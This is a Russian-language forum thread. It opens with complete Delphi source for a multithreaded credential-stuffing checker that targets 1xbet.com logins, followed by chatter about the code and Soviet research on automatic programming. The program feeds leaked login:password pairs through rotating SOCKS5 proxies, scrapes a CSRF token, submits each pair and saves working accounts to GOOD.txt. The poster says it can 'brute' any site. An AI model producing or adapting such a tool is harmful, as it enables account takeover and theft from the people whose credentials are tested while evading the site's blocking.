<CODE> unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,httpsend,ssl_openssl,blcksock, sSkinManager, ExtCtrls,IdHashMessageDigest, ComCtrls, sStatusBar, sButton, sEdit, sComboBox, sMemo, sLabel,SynaUtil, sDialogs; type TForm1 = class(TForm) Timer1: TTimer; sSkinManager1: TsSkinManager; Memo2: TsMemo; sLabel1: TsLabel; sLabel2: TsLabel; sLabel3: TsLabel; sLabel4: TsLabel; Edit1: TsEdit; sLabel5: TsLabel; sLabel6: TsLabel; sLabel7: TsLabel; sButton1: TsButton; sStatusBar1: TsStatusBar; Timer2: TTimer; Edit2: TEdit; Edit3: TEdit; Timer3: TTimer; sButton2: TsButton; sOpenDialog1: TsOpenDialog; sButton3: TsButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure Timer3Timer(Sender: TObject); procedure Button100Click(Sender: TObject); procedure sOpenDialog1CanClose(Sender: TObject; var CanClose: Boolean); procedure sButton2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; tnew = class(tthread) protected procedure execute; override; end; var Form1: TForm1; my_dir,CS,Tpx,STF:string; total,acc,th,prx,GD,BD,BLK,accscontrol:integer; Accs,Proxx,Result,FnameGOD,FnameBLOCK:TstringList; new5: array [0..600] of Tnew; sect1 : TRTLCriticalSection; FnameFile,FnameBAD:TextFile; implementation {$R *.dfm} procedure Tnew.execute; function md5(s: string): string; begin Result := ''; with TIdHashMessageDigest5.Create do try Result := AnsiLowerCase(AsHex(HashValue(s))); finally Free; end; end; var x,log,prox,v1,v2,v3,x3:string; y,i,Sb:integer; httpsend:Thttpsend; l,p,x2,url1,token,addres,adres2:string; Data:TStringStream; label 4,5; begin y:=0; {httpsend:=Thttpsend.Create; Httpsend.Protocol:='1.1'; Httpsend.Headers.Add('Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/vnd.ms-excel, */*'); httpsend.Timeout:=10000; httpsend.AddPortNumberToHost:=false;} 4: EnterCriticalSection (sect1); try Readln(FnameFile,log); except end; inc(acc); if eof(FnameFile)=true then y:=1; if y=1 then dec(th); LeaveCriticalSection (sect1); if y=1 then begin //httpsend.Free; destroy; end; if (pos(':',log)=0) then goto 4; //if (pos('@',log)=0) then goto 4; 5: EnterCriticalSection (sect1); //if sb=1 then //begin if prx<Proxx.Count-1 then inc(prx) else prx:=0; prox:=Proxx.Strings[prx]; //end; LeaveCriticalSection (sect1); if (pos(':',prox)=0) then goto 5; x2:=''; x:=log; //if pos('@',x)<>0 then l:=copy(x,1,pos('@',x)-1) else l:=copy(x,1,pos(':',x)-1); p:=copy(x,pos(':',x)+1,length(x)); httpsend:=Thttpsend.Create; Httpsend.Protocol:='1.1'; httpsend.Timeout:=10000; httpsend.AddPortNumberToHost:=false; httpsend.Sock.SocksTimeout:=6000; httpsend.Sock.SocksIP:=copy(prox,1,pos(':',prox)-1); httpsend.Sock.SocksPort:=copy(prox,pos(':',prox)+1,6); httpsend.Sock.SocksType:=ST_Socks5; httpsend.Sock.SocksResolver:=false; l:=StringReplace(l, '@', '%40',[rfReplaceAll, rfIgnoreCase]); httpsend.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0'; httpsend.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'); HTTPsend.Headers.Add( 'Accept-Language: en-US,en;q=0.5' ); HTTPsend.HTTPMethod('GET', 'https://1xbet.com/'); Data:=TStringStream.Create(''); httpsend.Document.SaveToStream(data); x:=Data.DataString; x:=x+httpsend.Headers.Text; Data.Free; HTTPsend.Clear; if pos('id="csrf" type="hidden" name="csrf" value="',x)<>0 then begin delete(x,1,pos('id="csrf" type="hidden" name="csrf" value="',x)+42); token:=copy(x,1,pos('"',x)-1); // token := parser(Data.DataString, 'name="login_uid" value="', '"'); //x:='csrf='+token+'&uLogin='+l+'&uPassword='+p; Data:=TStringStream.Create(''); Data.WriteString('csrf='+token+'&uLogin='+l+'&uPassword='+p); HTTPsend.Document.LoadFromStream(Data); HTTPsend.Headers.Add( 'Accept-Language: en-US,en;q=0.5' ); httpsend.Headers.Add('Accept: application/json, text/javascript, */*; q=0.01'); HTTPsend.MimeType := ('application/x-www-form-urlencoded; charset=UTF-8'); HTTPsend.Headers.Add('Referer: https://1xbet.com/'); HTTPsend.Headers.Add('X-Requested-With: XMLHttpRequest'); HTTPsend.HTTPMethod('POST', 'https://1xbet.com/en/user/auth/'); Data.Free; Data:=TStringStream.Create(''); httpsend.Document.SaveToStream(data); x:=Data.DataString; x:=x+httpsend.Headers.Text; Data.Free; httpsend.Clear; x2:='ERROR SOCKS'; if pos('"Incorrect login or password!"',x)<>0 then x2:='BAD'; if pos('"type":7,"message":"',x)<>0 then x2:='GOOD'; end else x2:='ERROR SOCKS'; httpsend.Headers.Clear; httpsend.Cookies.Clear; httpsend.Free; if x2='ERROR SOCKS' then goto 5; x:=x2; l:=StringReplace(l, '%40', '@',[rfReplaceAll, rfIgnoreCase]); EnterCriticalSection (sect1); if (x='BAD') then inc(BD); if (x='BLOCK') then inc(BLK); if pos('GOOD',x)<>0 then inc(GD); if (x='BAD') then WriteLn(FnameBAD,log); //FnameBAD.add(log); if (x='BLOCK') then FnameBLOCK.add(log); if pos('GOOD',x)<>0 then begin FnameGOD.Add(l+':'+p);//+#13#10+adres2+#13#10#13#10); end; LeaveCriticalSection (sect1); goto 4; end; procedure TForm1.Button1Click(Sender: TObject); var i:integer; begin i:=strtoint(edit3.Text); Timer3.Interval:=i*60000; //accs:=TstringList.Create; FnameGOD:=TstringList.Create; //FnameBAD:=TstringList.Create; AssignFile(FnameBAD,my_dir+'\BAD.txt'); Rewrite(FnameBAD); FnameBLOCK:=TstringList.Create; //Accs.LoadFromFile(my_dir+'\accs.txt'); Proxx:=TstringList.Create; //Result:=TstringList.Create; //AssignFile(FnameGOD,my_dir+'\GOOD.txt'); {if FileExists(my_dir+'\GOOD.txt')then begin Append(FnameGOD); end else rewrite(FnameGOD); AssignFile(FnameBAD,my_dir+'\BAD.txt'); if FileExists(my_dir+'\BAD.txt')then begin Append(FnameBAD); end else rewrite(FnameBAD); AssignFile(FnameBLOCK,my_dir+'\BLOCK.txt'); if FileExists(my_dir+'\BLOCK.txt')then begin Append(FnameBLOCK); end else rewrite(FnameBLOCK); } Proxx.Text:=memo2.Text; //Accs.Text:=Memo1.Text; acc:=0; th:=0; prx:=0; CS:=''; GD:=0; BD:=0; BLK:=0; for i:=1 to strtoint(edit1.text) do begin inc(th); new5:=tnew.create(true); new5.freeonterminate := true; new5.priority := tplowest; new5.resume; end; STF:='Check'; sStatusBar1.SimpleText:=STF; Timer2.Enabled:=true; timer1.Enabled:=true; timer3.Enabled:=true; end; procedure TForm1.FormCreate(Sender: TObject); begin initializeCriticalSection(sect1); my_dir:=ExtractFilePath(ParamStr(0)); end; procedure TForm1.Timer1Timer(Sender: TObject); begin //sLabel1.Caption:='Accounts: '+inttostr(Accs.Count-1); sLabel2.Caption:='Check: '+inttostr(Acc); sLabel3.Caption:='Proxy: '+inttostr(Prx); sLabel4.Caption:='Threads: '+inttostr(th); sLabel5.Caption:='GOOD: '+inttostr(GD); sLabel6.Caption:='BLOCK: '+inttostr(BLK); sLabel7.Caption:='BAD: '+inttostr(BD); //' | Acc2:'+inttostr(Acc)+' | GOOD:'+inttostr(GD)+' | BAD:'+inttostr(BD)+' | BLOCK:'+inttostr(BLK)+' | Px:'+inttostr(prx)+' | th:'+inttostr(th); //Memo3.Text:=Result.text; if th=0 then begin sLabel4.Caption:='Threads: 0'; Timer1.Enabled:=false; Timer2.Enabled:=false; Timer3.Enabled:=false; //sStatusBar1.SimpleText:='ky_kask@yahoo.com'; FnameGOD.SaveToFile(my_dir+'\GOOD.txt'); //FnameBAD.SaveToFile(my_dir+'\BAD.txt'); FnameBLOCK.SaveToFile(my_dir+'\BLOCK.txt'); //Result.SaveToFile(my_dir+'\GOOD_EXT.txt'); FnameGOD.Free; //FnameBAD.Free; FnameBLOCK.Free; //accs.Free; CloseFile(FnameFile); CloseFile(FnameBAD); Proxx.Free; Showmessage('Complete'); end; end; procedure TForm1.FormDestroy(Sender: TObject); begin DeleteCriticalSection(sect1); end; procedure TForm1.Timer2Timer(Sender: TObject); begin if length(STF)<50 then STF:=STF+'.' else STF:='Check'; sStatusBar1.SimpleText:=STF; end; procedure TForm1.Timer3Timer(Sender: TObject); var httpsend: THTTPSend; Data:TStringStream; x:string; begin x:=''; Timer3.Enabled:=false; //while length(x)<200 do //begin httpsend:=THTTPSend.Create; httpsend.Timeout:=5000; httpsend.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3'; Data:=TStringStream.Create(''); HTTPSend.HTTPMethod('get',edit2.Text); httpsend.Document.SaveToStream(data); x:=Data.DataString; //prx:=0; Data.Free; httpsend.free; //end; if length(x)>200 then begin //prx:=0; x:=StringReplace(x,'<br/>',#13#10,[rfReplaceAll, rfIgnoreCase]); Proxx.Text:=x; Memo2.Text:=Proxx.Text; end; Timer3.Enabled:=true; end; procedure TForm1.Button100Click(Sender: TObject); begin FnameGOD.SaveToFile(my_dir+'\GOOD_EXT.txt'); FnameBLOCK.SaveToFile(my_dir+'\BLOCK.txt'); end; function LinesCount(const Filename: string): Integer; var HFile: THandle; FSize, WasRead, i: Cardinal; Buf: array[1..4096] of byte; begin Result := 0; HFile := CreateFile(Pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if HFile <> INVALID_HANDLE_VALUE then begin FSize := GetFileSize(HFile, nil); if FSize > 0 then begin Inc(Result); ReadFile(HFile, Buf, 4096, WasRead, nil); repeat for i := WasRead downto 1 do if Buf = 10 then Inc(Result); ReadFile(HFile, Buf, 4096, WasRead, nil); until WasRead = 0; end; end; CloseHandle(HFile); end; procedure TForm1.sOpenDialog1CanClose(Sender: TObject; var CanClose: Boolean); var i:integer; begin i:=LinesCount(sOpenDialog1.FileName); sLabel1.Caption:='Accounts: '+inttostr(i); AssignFile(FnameFile,sOpenDialog1.FileName); Reset(FnameFile); sButton2.Enabled:=false; sButton1.Enabled:=true; sButton3.Enabled:=true; end; procedure TForm1.sButton2Click(Sender: TObject); begin sOpenDialog1.Execute; end; end. </CODE>
для очистки совести: не смотри что код кажется "грязным". компилятору по уху как оно выглядит у тебя на экране. Конструкция поволяет брутить то угодно.
Херово, когда из компилятора код херовый выходит. А вот что у тебя в блокноте - никого не волнует. Ей богу
Есть один вообщще идеальный вариант, чтоб оно само создавало то, что мне надо.. но разработки в таких областяз тупо ни кто не финансирует. В СССР было два института занимающихся (ахуеть) "Автоматизацией программирования".. Цель была - создание программы, которая могла бы сама писать программы. Вот это шикарный был замах, но на тот момент не было таких мощностей, а потом 90-е.. но работы и статьи остались.. И я хуею с каких краев люди к задаче этой подходили..
Любой кодер знает принцип работы программы "Эизнь". Вот, собственно, с нее то все и началось. Если б не развалюха в 90-х, у гас уэе юыд юы ИИ В том само плане, в котором мы его вот представляем. Равный, а может быть и круче, нам.
увидев что тема создана сегодня и в ней 70 ответов, я был практически уверен что здесь орудует пользователь Тритон_мгн, но я ошибся, скажи уважаемый ky_kask не знаком ли тебе этот пользователь? может быть дальний родственник?